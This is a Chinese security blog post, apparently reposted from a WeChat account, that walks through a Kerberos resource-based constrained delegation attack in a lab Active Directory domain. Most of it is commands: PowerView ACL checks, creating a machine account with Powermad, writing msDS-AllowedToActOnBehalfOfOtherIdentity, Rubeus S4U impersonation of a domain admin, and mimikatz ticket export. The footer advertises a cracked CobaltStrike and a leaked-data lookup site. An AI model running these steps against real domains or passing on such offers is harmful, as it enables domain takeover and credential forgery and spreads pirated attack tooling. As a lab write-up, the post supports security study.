资源委派 (提权/横向移动)

admin 2023年10月24日15:47:49评论22 views字数 3934阅读13分6秒阅读模式

早在之前看一篇名为 "烂番茄提权" 的文章的时候就想复现,后面一直没用成功。昨天在搞 ACL 的时候发现 kerberos 资源委派提权。一看,说的不就是这吗,捣鼓了一下写篇文章

介绍

利用用户的 ACLmsDS-AllowedToActOnBehalfOfOtherIdentity)属性配合 kerberos S4U 实现凭证伪造

(原文章没怎么说原理,烂番茄那篇说的有点复杂。我可能没有描述完整,甚至可能有错误),如果想深入了解原理可以看原文:

 https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw

使用 msDS-AllowedToActOnBehalfOfOtherIdentity 属性实现 横向/提权

msDS-AllowedToActOnBehalfOfOtherIdentity 介绍:ms-DS 允许代表其他身份采取行动

利用要求:

目标DC是windows server 2012或以上
域用户拥有ACL GenericAll/GenericWrite/WriteProperty权限(使用目标域用户加入域的时候默认自带这些权限)
目标机器名称
域管理用户名称


测试环境

domain:YAYI.local
域管用户:yayis
ip:192.168.113.132 DC
ip:192.168.113.223 YYC (域内主机)

用到的工具:

powerview
Powermad
Rubeus
mimikatz
impacket工具套件


复现过程

首先进行 ACL 权限检测,当前域用户是否有权限创建新的计算机。能利用的 ACL 为:(GenericAll/GenericWrite/WriteProperty)

import-Module Powerview.ps1
Get-ObjectAcl -SamAccountName "YYC" -ResolveGUIDs | out-file save.txt #搜索自己的UID和搜索关键字GenericAll/GenericWrite/WriteProperty

拥有其中一个 ACL 权限即可

资源委派 (提权/横向移动)

获取域控名称和 ip (确定域控版本和系统)

Get-DomainController

资源委派 (提权/横向移动)

查询一个域用户最多可以创建多少台计算机

Get-DomainObject -Identity "dc=YAYI,dc=local" -Domain YAYI.local

资源委派 (提权/横向移动)

查询目标机的 msds-allowedtoactonbehalfofotheridentity 是否被写入

Get-NetComputer YYC | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

资源委派 (提权/横向移动)

资源委派 (提权/横向移动)

创建一个计算机用户

import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose #新建一个计算机账户,密码为123456。

资源委派 (提权/横向移动)

查询新创建的计算机用户的 SID

Get-DomainComputer fake01

SID:S-1-5-21-2210433587-4071140994-1849857373-1122

资源委派 (提权/横向移动)

为 FAKE01 计算机主体创建一个新的原始安全描述符

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

(实验的时候打错 SID 了就不贴图了)

修改目标计算机 SID

Get-DomainComputer YYC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

忘记截图了,拿文章的图代替一下。。

资源委派 (提权/横向移动)

提醒-我们之所以能够这样写,是因为 Account Operators 于安全组进 YAYIAccount Operators,尽管唯一重要的/足够的是写权限,但它可以完全控制目标计算机 YYC$

(原文写的是 Operations 用户,不过我找不到这个。到找到了 Account Operations)

资源委派 (提权/横向移动)

自己实现时找到的

资源委派 (提权/横向移动)

一旦 msds 允许作为其他身份被设置,它在这里是可见的

资源委派 (提权/横向移动)

同样的道理也可以这样看

Get-DomainComputer YYC -Properties 'msds-allowedtoactonbehalfofotheridentity'

资源委派 (提权/横向移动)

配置 FAKE01 的机器绑定到 YYC 的机器

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2210433587-4071140994-1849857373-1122)" #这里的SID为新加的计算机账户的SID
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer YYC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

资源委派 (提权/横向移动)

获取 hash

.Rubeus.exe hash /password:123456 /user:fake01 /domain:YAYI.local

资源委派 (提权/横向移动)

RC4 hash:32ED87BDB5FDC5E9CBA88547376818D4

伪造域管理员的凭证导入 (这个凭证只能在 YYC 上使用)

.Rubeus.exe s4u /user:fake01$ /domain:YAYI.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:yayis /msdsspn:host/YYC /altservice:cifs,host /ptt #导入cifs和host的票据,不导入host票据无法正常使用spexec ?(host票据包含cifs票据)

资源委派 (提权/横向移动)

资源委派 (提权/横向移动)

如果要在别的机子上使用 kerberos 的凭证,则需要 impacket 的 pyGet.py 或者 mimikatz 导出 ccache

mimikatz.exe "kerberos::list /export" "exit"

资源委派 (提权/横向移动)

资源委派 (提权/横向移动)

导入凭证利用,可以使用 mimikatz 或者 set 命令

mimikatz "kerberos::ptc yayis.ccache" "exit"
使用set命令,set KRB5CCNAME=yayis.ccache

资源委派 (提权/横向移动)

资源委派 (提权/横向移动)

其实后面还有一点,这个复现的不是很成功。后面的内容有点乱,写出来容易搞混,就不写了

上面提到的 ACL 一台机器使用域用户连接 DC 的时候就已经把 ACL 设置留下来了。我觉得使用 powerview 对着每台机器查有权限控制这台机器的 SID,可以横着走。(纯属理论,实际上有待测验)


参考链接

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-objecthttps://xz.aliyun.com/t/7454


资源委派 (提权/横向移动)

关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境0006 获取 CobaltStrike 4.9破解版


加我微信好友,邀请你进交流群


资源委派 (提权/横向移动)



往期推荐

对某金融App的加解密hook+rpc+绕过SSLPinning抓包

疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击

Fofa新产品 - 绕CDN溯源真实IP!

Cobalt Strike 4.8 正式发布上线!

团队在线Windows进程识别正式内测

突发!微信疑似存在RCE

Confluence CVE-2023-22515漏洞复现

COM接口学习与利用

域渗透之NTLM Relay

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

日常记录对某站点的实战渗透

Java审计之CMS中的那些反序列化漏洞

D-Link DAP-X1860:远程命令注入

备用号,欢迎关注


资源委派 (提权/横向移动)

原文始发于微信公众号(刨洞安全团队):资源委派 (提权/横向移动)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月24日15:47:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   资源委派 (提权/横向移动)http://cn-sec.com/archives/2140844.html

发表评论

匿名网友 填写信息